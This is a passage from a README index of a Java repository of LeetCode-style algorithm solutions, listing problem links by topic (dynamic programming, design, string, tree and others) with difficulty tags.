Tree](src/main/java/depth_first_search/GraphValidTree.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Longest Consecutive Sequence](src/main/java/depth_first_search/LongestConsecutiveSequence.java) (Hard) - [Accounts Merge](src/main/java/depth_first_search/AccountsMerge.java) (Medium) - [CloneGraph](src/main/java/depth_first_search/CloneGraph.java) (Medium) - [Island Perimeter](src/main/java/depth_first_search/IslandPerimeter.java) (Easy) - [Number of Distinct Islands](src/main/java/depth_first_search/NumberOfDistinctIslands.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Number of Distinct Islands II](src/main/java/depth_first_search/NumberOfDistinctIslandsII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Smallest Rectangle Enclosing Black Pixels](src/main/java/depth_first_search/SmallestRectangleEnclosingBlackPixels.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Bricks Falling When Hit](src/main/java/depth_first_search/BricksFallingWhenHit.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Robot Room Cleaner](src/main/java/depth_first_search/RobotRoomCleaner.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Cracking the Safe](src/main/java/depth_first_search/CrackingTheSafe.java) (Hard) - [All Paths From Source to Target](src/main/java/depth_first_search/AllPathsFromSourceToTarget.java) (Medium) - [Max Area of Island](src/main/java/depth_first_search/MaxAreaOfIsland.java) (Medium) - [Satisfiability of Equality Equations](src/main/java/depth_first_search/SatisfiabilityOfEquations.java) (Medium) - [Number of Enclaves](src/main/java/depth_first_search/NumberOfEnclaves.java) (Medium) - [As Far from Land as Possible](src/main/java/depth_first_search/AsFarfromLandAsPossible.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimize Malware Spread](src/main/java/depth_first_search/MinimizeMalwareSpread.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Parallel Courses](src/main/java/depth_first_search/ParallelCourses.java) (Hard) - [Connecting Cities With Minimum Cost](src/main/java/depth_first_search/ConnectingCitiesWithMinimumCost.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Critical Connections in a Network](src/main/java/depth_first_search/CriticalConnection.java) (Hard) #### [Design](src/main/java/design) - [Copy List With Random Pointer](src/main/java/design/CopyListWithRandomPointer.java) (Medium) - [Encode and Decode Tiny URL](src/main/java/design/EncodeAndDecodeTinyURL.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [LFU Cache](src/main/java/design/LFUCache.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [LRU Cache](src/main/java/design/LRUCache.java) (Hard) - [Insert Delete Get Random](src/main/java/design/RandomizedSet.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Serialize Deserialize Binary Tree](src/main/java/design/SerializeDeserializeBinaryTree.java) (Hard) - [Design Twitter](src/main/java/design/Twitter.java) (Medium) - [Tic-Tac-Toe](src/main/java/design/TicTacToe.java) (Medium) - [Implement Trie (Prefix Tree)](src/main/java/design/Trie.java) (Medium) - [Binary Search Tree Iterator](src/main/java/design/BSTIterator.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Design Search Autocomplete System](src/main/java/design/AutocompleteSystem.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Design Excel Sum Formula](src/main/java/design/Excel.java) (Hard) - [Flatten Nested List Iterator](src/main/java/design/NestedIterator.java) (Medium) - [Add and Search Word - Data structure design](src/main/java/design/WordDictionary.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Prefix and Suffix Search](src/main/java/design/WordFilter.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Insert Delete GetRandom O(1) - Duplicates allowed](src/main/java/design/RandomizedCollection.java) (Hard) #### [Divide and Conquer](src/main/java/divide_and_conquer) - [Kth Largest Element In a Array](src/main/java/divide_and_conquer/KthLargestElementInAnArray.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reverse Pairs](src/main/java/divide_and_conquer/ReversePairs.java) (Hard) - [Search in a 2D Matrix](src/main/java/divide_and_conquer/SearchA2DMatrix.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [24 Game](src/main/java/divide_and_conquer/TwentyFourGame.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reverse Pairs II](src/main/java/divide_and_conquer/ReversePairsII.java) (Hard) - [My Calendar II](src/main/java/divide_and_conquer/MyCalendarII.java) (Medium) #### [Dynamic Programming](src/main/java/dynamic_programming) - [Best Time To Buy and Sell Stocks](src/main/java/dynamic_programming/BestTimeToBuyAndSellStocks.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Best Time to Buy and Sell Stock III](src/main/java/dynamic_programming/BestTimeToBuyAndSellStockIII.java) (Hard) - [Best Time to Buy and Sell Stock with Transaction Fee](src/main/java/dynamic_programming/BestTimeToBuyAndSellStocksWithFee.java) (Medium) - [Climbing Stairs](src/main/java/dynamic_programming/ClimbingStairs.java) (Easy) - [Coin Change](src/main/java/dynamic_programming/CoinChange.java) (Medium) - [Coin Change 2](src/main/java/dynamic_programming/CoinChange2.java) (Medium) - [Decode Ways](src/main/java/dynamic_programming/DecodeWays.java) (Medium) - [House Robber](src/main/java/dynamic_programming/HouseRobber.java) (Easy) - [House Robber II](src/main/java/dynamic_programming/HouseRobberII.java) (Medium) - [Longest Increasing Subsequence](src/main/java/dynamic_programming/LongestIncreasingSubsequence.java) (Medium) - [Longest Paliandromic Substring](src/main/java/dynamic_programming/LongestPaliandromicSubstring.java) (Medium) - [Longest Palindromic Subsequence](src/main/java/dynamic_programming/LongestPalindromicSubsequence.java) (Medium) - [Maximum Product Subarray](src/main/java/dynamic_programming/MaximumProductSubarray.java) (Medium) - [Min Cost Climbing Stairs](src/main/java/dynamic_programming/MinCostClimbingStairs.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Palindrome Partitioning II](src/main/java/dynamic_programming/PalindromePartitioningII.java) (Hard) - [UniqueBinary Search Trees](src/main/java/dynamic_programming/UniqueBinarySearchTrees.java) (Medium) - [Unique Binary Search Trees II](src/main/java/dynamic_programming/UniqueBinarySearchTreesII.java) (Medium) - [WordBreak](src/main/java/dynamic_programming/WordBreak.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [WordBreak II](src/main/java/dynamic_programming/WordBreakII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Concatenated Words](src/main/java/dynamic_programming/ConcatenatedWords.java) (Hard) - [Can I Win](src/main/java/dynamic_programming/CanIWin.java) (Medium) - [Maximum Subarray](src/main/java/dynamic_programming/MaximumSubarray.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Dungeon Game](src/main/java/dynamic_programming/DungeonGame.java) (Hard) - [2 Keys Keyboard](src/main/java/dynamic_programming/TwoKeysKeyboard.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Maximum Sum of 3 Non-Overlapping Subarrays](src/main/java/dynamic_programming/MaxSum3SubArray.java) (Hard) - [Maximal Square](src/main/java/dynamic_programming/MaximalSquare.java) (Medium) - [Continuous Subarray Sum](src/main/java/dynamic_programming/ContinuousSubarraySum.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Decode Ways II](src/main/java/dynamic_programming/DecodeWaysII.java) (Hard) - [Palindromic Substrings](src/main/java/dynamic_programming/PalindromicSubstrings.java) (Medium) - [Number of Longest Increasing Subsequence](src/main/java/dynamic_programming/NumberOfLIS.java) (Medium) - [Combination Sum IV](src/main/java/dynamic_programming/CombinationSumIV.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Paint House II](src/main/java/dynamic_programming/PaintHouseII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Split Array Largest Sum](src/main/java/dynamic_programming/SplitArrayLargestSum.java) (Hard) - [Number Of Corner Rectangles](src/main/java/dynamic_programming/CornerRectangles.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Burst Balloons](src/main/java/dynamic_programming/BurstBalloons.java) (Hard) - [Largest Plus Sign](src/main/java/dynamic_programming/LargestPlusSign.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Palindrome Pairs](src/main/java/dynamic_programming/PalindromePairs.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Cherry Pickup](src/main/java/dynamic_programming/CherryPickup.java) (Hard) - [Knight Probability in Chessboard](src/main/java/dynamic_programming/KnightProbabilityInChessboard.java) (Medium) - [Largest Sum of Averages](src/main/java/dynamic_programming/LargestSumOfAverages.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Number of Refueling Stops](src/main/java/dynamic_programming/MinimumNumberOfRefuelingStops.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Cat and Mouse](src/main/java/dynamic_programming/CatAndMouse.java) (Hard) - [Stone Game](src/main/java/dynamic_programming/StoneGame.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Odd Even Jump](src/main/java/dynamic_programming/OddEvenJump.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Profitable Schemes](src/main/java/dynamic_programming/ProfitableSchemes.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Maximum Vacation Days](src/main/java/dynamic_programming/MaximumVacationDays.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Russian Doll Envelopes](src/main/java/dynamic_programming/RussianDollEnvelopes.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Student Attendance Record II](src/main/java/dynamic_programming/StudentAttendanceRecordII.java) (Hard) - [Out of Boundary Paths](src/main/java/dynamic_programming/OutOfBoundaryPaths.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Remove Boxes](src/main/java/dynamic_programming/RemoveBoxes.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Stickers to Spell Word](src/main/java/dynamic_programming/StickersToSpellWord.java) (Hard) - [Ones and Zeroes](src/main/java/dynamic_programming/OnesAndZeroes.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Encode String with Shortest Length](src/main/java/dynamic_programming/EncodeStringWithShortestLength.java) (Hard) - [Length of Longest Fibonacci Subsequence](src/main/java/dynamic_programming/LengthofLongestFibonacciSubsequence.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Make Array Strictly Increasing](src/main/java/dynamic_programming/MakeArrayStrictlyIncreasing.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Number of Taps to Open to Water a Garden](src/main/java/dynamic_programming/MinimumNumberOfTaps.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Delete Columns to Make Sorted III](src/main/java/dynamic_programming/DeleteColumnsToMakeSortedIII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Handshakes That Don't Cross](src/main/java/dynamic_programming/HandshakesThatDontCross.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Difficulty of a Job Schedule](src/main/java/dynamic_programming/MinimumDifficultyOfAJobSchedule.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Jump Game V](src/main/java/dynamic_programming/JumpGameV.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Freedom Trail](src/main/java/dynamic_programming/FreedomTrail.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Strange Printer](src/main/java/dynamic_programming/StrangePrinter.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Cost to Merge Stones](src/main/java/dynamic_programming/MinimumCostToMergeStones.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Interleaving String](src/main/java/dynamic_programming/InterleavingString.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Count Vowels Permutation](src/main/java/dynamic_programming/CountVowelsPermutation.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Non-negative Integers without Consecutive Ones](src/main/java/dynamic_programming/NonNegativeIntegersWithoutConsecutiveOnes.java) (Hard) - [Bomb Enemy](src/main/java/dynamic_programming/BombEnemy.java) (Medium) - [Number of Dice Rolls With Target Sum](src/main/java/dynamic_programming/NumberOfDiceRollsWithTargetSum.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Distinct Subsequences](src/main/java/dynamic_programming/DistinctSubsequences.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Distinct Subsequences II](src/main/java/dynamic_programming/DistinctSubsequencesII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Distance to Type a Word Using Two Fingers](src/main/java/dynamic_programming/MinimumDistanceToTypeAWordUsingTwoFingers.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Valid Palindrome III](src/main/java/dynamic_programming/ValidPalindromeIII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Palindrome Partitioning III](src/main/java/dynamic_programming/PalindromePartitioningIII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Tiling a Rectangle with the Fewest Squares](src/main/java/dynamic_programming/TilingARectangle.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Longest Chunked Palindrome Decomposition](src/main/java/dynamic_programming/LongestChunkedPalindromeDecomposition.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Stone Game III](src/main/java/dynamic_programming/StoneGameIII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Number of Ways to Stay in the Same Place After Some Steps](src/main/java/dynamic_programming/NumberOfWaysToStayInTheSamePlace.java) (Hard) - [Toss Strange Coins](src/main/java/dynamic_programming/TossStrangeCoins.java) (Medium) - [Knight Dialer](src/main/java/dynamic_programming/KnightDialer.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Palindrome Removal](src/main/java/dynamic_programming/PalindromeRemoval.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Restore The Array](src/main/java/dynamic_programming/RestoreTheArray.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Cherry Pickup II](src/main/java/dynamic_programming/CherryPickupII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Constrained Subsequence Sum](src/main/java/dynamic_programming/ConstrainedSubsequenceSum.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Largest Multiple of Three](src/main/java/dynamic_programming/LargestMultipleOfThree.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Largest Multiple of Three](src/main/java/dynamic_programming/MaximumProfitInJobScheduling.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Number of Music Playlists](src/main/java/dynamic_programming/NumberOfMusicPlaylists.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Paint House III](src/main/java/dynamic_programming/PaintHouseIII.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Shortest Path Visiting All Nodes](src/main/java/dynamic_programming/ShortestPathVisitingAllNodes.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Smallest Sufficient Team](src/main/java/dynamic_programming/SmallestSufficientTeam.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Stone Game IV](src/main/java/dynamic_programming/StoneGameIV.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Tallest Billboard](src/main/java/dynamic_programming/TallestBillboard.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Count Different Palindromic Subsequences](src/main/java/dynamic_programming/CountDifferentPalindromicSubsequences.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Number of Paths with Max Score](src/main/java/dynamic_programming/NumberOfPathsWithMaxScore.java) (Hard) #### [Greedy](src/main/java/greedy) - [Jump Game](src/main/java/greedy/JumpGame.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Jump Game II](src/main/java/greedy/JumpGameII.java) (Hard) - [Course Schedule III](src/main/java/greedy/CourseScheduleIII.java) (Medium) - [GasStation](src/main/java/greedy/GasStation.java) (Medium) - [Non-Overlapping Intervals](src/main/java/greedy/NonOverlappingIntervals.java) (Medium) - [Minimum Number of Arrows to Burst Balloons](src/main/java/greedy/BurstBalloons.java) (Medium) - [Queue Reconstruction By Height](src/main/java/greedy/QueueReconstructionByHeight.java) (Medium) - [Task Scheduler](src/main/java/greedy/TaskScheduler.java) (Medium) - [Maximum Length of Pair Chain](src/main/java/greedy/MaximumLengthOfPairChain.java) (Medium) - [Lemonade Change](src/main/java/greedy/LemonadeChange.java) (Easy) - [Score After Flipping Matrix](src/main/java/greedy/ScoreAfterFlippingMatrix.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [IPO](src/main/java/greedy/IPO.java) (Hard) - [String Without AAA or BBB](src/main/java/greedy/StringWithout3A3B.java) (Medium) - [Boats to Save People](src/main/java/greedy/BoatsToSavePeople.java) (Medium) - [Broken Calculator](src/main/java/greedy/BrokenCalculator.java) (Medium) - [Two City Scheduling](src/main/java/greedy/TwoCityScheduling.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Minimum Time to Build Blocks](src/main/java/greedy/MinimumTimeToBuildBlocks.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reducing Dishes](src/main/java/greedy/ReducingDishes.java) (Hard) #### [Hashing](src/main/java/hashing) - [Anagrams](src/main/java/hashing/Anagrams.java) (Medium) - [Group Anagrams](src/main/java/hashing/GroupAnagrams.java) (Medium) - [Kdiff Pairs In a Array](src/main/java/hashing/KdiffPairsInanArray.java) (Easy) - [Sort Character by Frequency](src/main/java/hashing/SortCharByFrequency.java) (Medium) - [Two Sum](src/main/java/hashing/TwoSum.java) (Easy) - [Valid Anagram](src/main/java/hashing/ValidAnagram.java) (Easy) - [Maximum Size Subarray Sum Equals k](src/main/java/hashing/MaximumSizeSubarraySumEqualsk.java) (Medium) - [Contiguous Array](src/main/java/hashing/ContiguousArray.java) (Medium) - [Brick Wall](src/main/java/hashing/BrickWall.java) (Medium) - [Partition Labels](src/main/java/hashing/PartitionLabels.java) (Medium) - [Custom Sort String](src/main/java/hashing/CustomSortString.java) (Medium) - [Short Encoding of Words](src/main/java/hashing/ShortEncodingOfWords.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Substring with Concatenation of All Words](src/main/java/hashing/SubstringConcatenationOfWords.java) (Hard) - [Distribute Candies](src/main/java/hashing/DistributeCandies.java) (Easy) - [Groups of Special-Equivalent Strings](src/main/java/hashing/GroupsOfSpecialEquivalentStrings.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Number of Atoms](src/main/java/hashing/NumberOfAtoms.java) (Hard) - [Analyze User Website Visit Pattern](src/main/java/hashing/AnalyzeUserWebsiteVisitPattern.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [String Transforms Into Another String](src/main/java/hashing/StringTransformsIntoAnotherString.java) (Hard) #### [Heap](src/main/java/heap) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Sliding Window Maximum](src/main/java/heap/SlidingWindowMaximum.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [The Skyline Problem](src/main/java/heap/TheSkylineProblem.java) (Hard) - [Meeting Rooms II](src/main/java/heap/MeetingRoomsII.java) (Medium) - [Top K Frequent Words](src/main/java/heap/TopKFrequentWords.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Candy](src/main/java/heap/Candy.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Smallest Rotation with Highest Score](src/main/java/heap/SmallestRotationWithHighestScore.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Maximum Frequency Stack](src/main/java/heap/FreqStack.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reachable Nodes In Subdivided Graph](src/main/java/heap/ReachableNodesInSubdividedGraph.java) (Hard) - [K Closest Points to Origin](src/main/java/heap/KClosestPointsToOrigin.java) (Medium) - [Distant Barcodes](src/main/java/heap/DistantBarcodes.java) (Medium) #### [Linked List](src/main/java/linked_list) - [Intersection of two Linked-Lists](src/main/java/linked_list/IntersectionOfTwoLists.java) (Easy) - [Linked List Cycle](src/main/java/linked_list/LinkedListCycle.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Merge K Sorted Lists](src/main/java/linked_list/MergeKSortedLists.java) (Hard) - [Merge Two Sorted List](src/main/java/linked_list/MergeTwoSortedList.java) (Easy) - [Paliandrome List](src/main/java/linked_list/PaliandromeList.java) (Easy) - [Reverse Linked List](src/main/java/linked_list/ReverseLinkedList.java) (Easy) - [Delete Node in a Linked List](src/main/java/linked_list/DeleteNode.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reverse Nodes in k-Group](src/main/java/linked_list/ReverseNodesKGroup.java) (Hard) - [Swap Nodes in Pairs](src/main/java/linked_list/SwapNodesInPairs.java) (Medium) - [Middle of Linked List](src/main/java/linked_list/MiddleOfLinkedList.java) (Easy) - [Split Linked List in Parts](src/main/java/linked_list/SplitLinkedListInParts.java) (Medium) - [Next Greater Node In Linked List](src/main/java/linked_list/NextGreaterNodeInLinkedList.java) (Medium) #### [Math](src/main/java/math) - [Add Two Numbers](src/main/java/math/AddTwoNumbers.java) (Medium) - [Count Primes](src/main/java/math/CountPrimes.java) (Easy) - [Rotate Function](src/main/java/math/RotateFunction.java) (Medium) - [Water and Jug Problem](src/main/java/math/WaterAndJugProblem.java) (Medium) - [Add Digits](src/main/java/math/AddDigits.java) (Easy) - [Excel Sheet Column Title](src/main/java/math/ExcelSheetColumnTitle.java) (Easy) - [Roman to Integer](src/main/java/math/RomanToInteger.java) (Easy) - [Bulb Switcher II](src/main/java/math/BulbSwitcherII.java) (Medium) - [Global and Local Inversions](src/main/java/math/GlobalAndLocalInversions.java) (Medium) - [Solve the Equation](src/main/java/math/SolveTheEquation.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Couples Holding Hands](src/main/java/math/CouplesHoldingHands.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Reaching Points](src/main/java/math/ReachingPoints.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Nth Magical Number](src/main/java/math/NthMagicalNumber.java) (Hard) - [Squirrel Simulation](src/main/java/math/SquirrelSimulation.java) (Medium) - [Projection Area of 3D Shapes](src/main/java/math/ProjectionAreaOf3DShapes.java) (Easy) - [Decoded String at Index](src/main/java/math/DecodedStringAtIndex.java) (Medium) - [Base 7](src/main/java/math/Base7.java) (Easy) - [Smallest Range I](src/main/java/math/SmallestRangeI.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Largest Component Size by Common Factor](src/main/java/math/LargestComponentSizebyCommonFactor.java) (Hard) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Super Washing Machines](src/main/java/math/SuperWashingMachines.java) (Hard) - [Rectangle Overlap](src/main/java/math/RectangleOverlap.java) (Easy) - [Nth Digit](src/main/java/math/NthDigit.java) (Easy) #### [Reservoir Sampling](src/main/java/reservoir_sampling) - [Random Pick Index](src/main/java/reservoir_sampling/RandomPickIndex.java) (Medium) #### [Stack](src/main/java/stack) - [Min Stack](src/main/java/stack/MinStack.java) (Easy) - [Valid Parentheses](src/main/java/stack/ValidParentheses.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Largest Rectangle In Histogram](src/main/java/stack/LargestRectangleInHistogram.java) (Hard) - [Implement Queue using Stacks](src/main/java/stack/MyQueue.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Maximal Rectangle](src/main/java/stack/MaximalRectangle.java) (Hard) - [Exclusive Time of Functions](src/main/java/stack/ExclusiveTimeOfFunctions.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Basic Calculator](src/main/java/stack/BasicCalculator.java) (Hard) - [Decode String](src/main/java/stack/DecodeString.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Longest Valid Parentheses](src/main/java/stack/LongestValidParentheses.java) (Hard) #### [String](src/main/java/string) - [First Unique Character In a String](src/main/java/string/FirstUniqueCharacterInAString.java) (Easy) - [Repeated Substring Pattern](src/main/java/string/RepeatedSubstringPattern.java) (Easy) - [Reverse Words In a String](src/main/java/string/ReverseWordsInAString.java) (Medium) - [ReverseWords II](src/main/java/string/ReverseWordsII.java) (Medium) - [String to Integer](src/main/java/string/StringToInteger.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Text Justification](src/main/java/string/TextJustification.java) (Hard) - [ZigZag Conversion](src/main/java/string/ZigZagConversion.java) (Medium) - [Implement StrStr](src/main/java/string/ImplementStrStr.java) (Easy) - [Excel Sheet Column Number](src/main/java/string/ExcelSheetColumnNumber.java) (Easy) - [Compare Version Numbers](src/main/java/string/CompareVersionNumbers.java) (Easy) - [Valid Palindrome](src/main/java/string/ValidPalindrome.java) (Easy) - [Simplify Path](src/main/java/string/SimplifyPath.java) (Medium) - [Permutation in String](src/main/java/string/PermutationInString.java) (Medium) - [Add Binary](src/main/java/string/AddBinary.java) (Easy) - [Valid Palindrome II](src/main/java/string/ValidPalindromeII.java) (Easy) - [One Edit Distance](src/main/java/string/OneEditDistance.java) (Medium) - [Count and Say](src/main/java/string/CountAndSay.java) (Easy) - [Multiply Strings](src/main/java/string/MultiplyStrings.java) (Medium) - [Longest Word in Dictionary through Deleting](src/main/java/string/LongestWordInDictonary.java) (Medium) - [Isomorphic Strings](src/main/java/string/IsomorphicStrings.java) (Easy) - [String Compression](src/main/java/string/StringCompression.java) (Easy) - [Longest Common Prefix](src/main/java/string/LongestCommonPrefix.java) (Easy) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Find the Closest Palindrome](src/main/java/string/FindTheClosestPalindrome.java) (Hard) - [Monotone Increasing Digits](src/main/java/string/MonotoneIncreasingDigits.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Shortest Palindrome](src/main/java/string/ShortestPalindrome.java) (Hard) - [Valid Word Abbreviation](src/main/java/string/ValidWordAbbreviation.java) (Easy) - [Longest Palindrome](src/main/java/string/LongestPalindrome.java) (Easy) - [Replace Words](src/main/java/string/ReplaceWords.java) (Medium) - [Rotate String](src/main/java/string/RotateString.java) (Easy) - [Keyboard Row](src/main/java/string/KeyboardRow.java) (Easy) - [Student Attendance Record I](src/main/java/string/StudentAttendanceRecordI.java) (Easy) - [Split Concatenated Strings](src/main/java/string/SplitConcatenatedStrings.java) (Medium) - [Valid Word Square](src/main/java/string/ValidWordSquare.java) (Easy) - [Reconstruct Original Digits from English](src/main/java/string/ReconstructOriginalDigitsFromEnglish.java) (Medium) - [Push Dominoes](src/main/java/string/PushDominoes.java) (Medium) - [Validate IP Address](src/main/java/string/ValidateIPAddress.java) (Medium) - [Reverse String II](src/main/java/string/ReverseStringII.java) (Easy) - [Find Words That Can Be Formed by Characters](src/main/java/string/FindWordsThatCanBeFormedbyCharacters.java) (Easy) - [Minimum Add to Make Parentheses Valid](src/main/java/string/MinimumAddtoMakeParenthesesValid.java) (Medium) #### [Tree](src/main/java/tree) - [Binaray Tree Right Side View](src/main/java/tree/BinarayTreeRightSideView.java) (Medium) - ![#f03c15](https://placehold.it/15/f03c15/000000?text=+) [Binary Tree Maximum Path Sum](src/main/java/tree/BinaryTreeMaximumPathSum.java) (Hard) - [Boundary of Binary Tree](src/main/java/tree/BoundaryOfBinaryTree.java) (Medium) - [Convert sorted array to BST](src/main/java/tree/ConvertSortedArrayToBST.java) (Medium) - [Lowest Common Ancestor of a Binary Tree](src/main/java/tree/LCA.java) (Medium) - [Lowest Common Ancestor of a BST](src/main/java/tree/LowestCommonAncestorBST.java) (Easy) - [Most Frequent Subtree Sum](src/main/java/tree/MostFrequentSubtreeSum.java) (Medium) - [Path Sum III](src/main/java/tree/PathSumIII.java) (Easy) - [Convert Postorder and Inorder traversal to Binary Tree](src/main/java/tree/PostorderToBT.java) (Medium) - [Convert Preorder and Inorder traversal to Binary Tree](src/main/java/tree/PreorderToBT.java) (Medium) - [Sorted Array to BST](src/main/java/tree/SortedArrayToBST.java) (Medium) - [Valid Binary Search Tree](src/main/java/tree/ValidBinarySearchTree.java) (Medium) - [Largest BST Subtree](src/main/java/tree/LargestBSTSubtree.java) (Medium) - [Closest Binary Search Tree Value](src/main/java/tree/ClosestBinarySearchTreeValue.java) (Easy) - [Inorder Successor in BST](src/main/java/tree/InorderSuccessorInBST.java) (Medium) - [Construct String From Binary Tree](src/main/java/tree/ConstructStringFromBinaryTree.java) (Easy) - [Flatten Binary Tree to 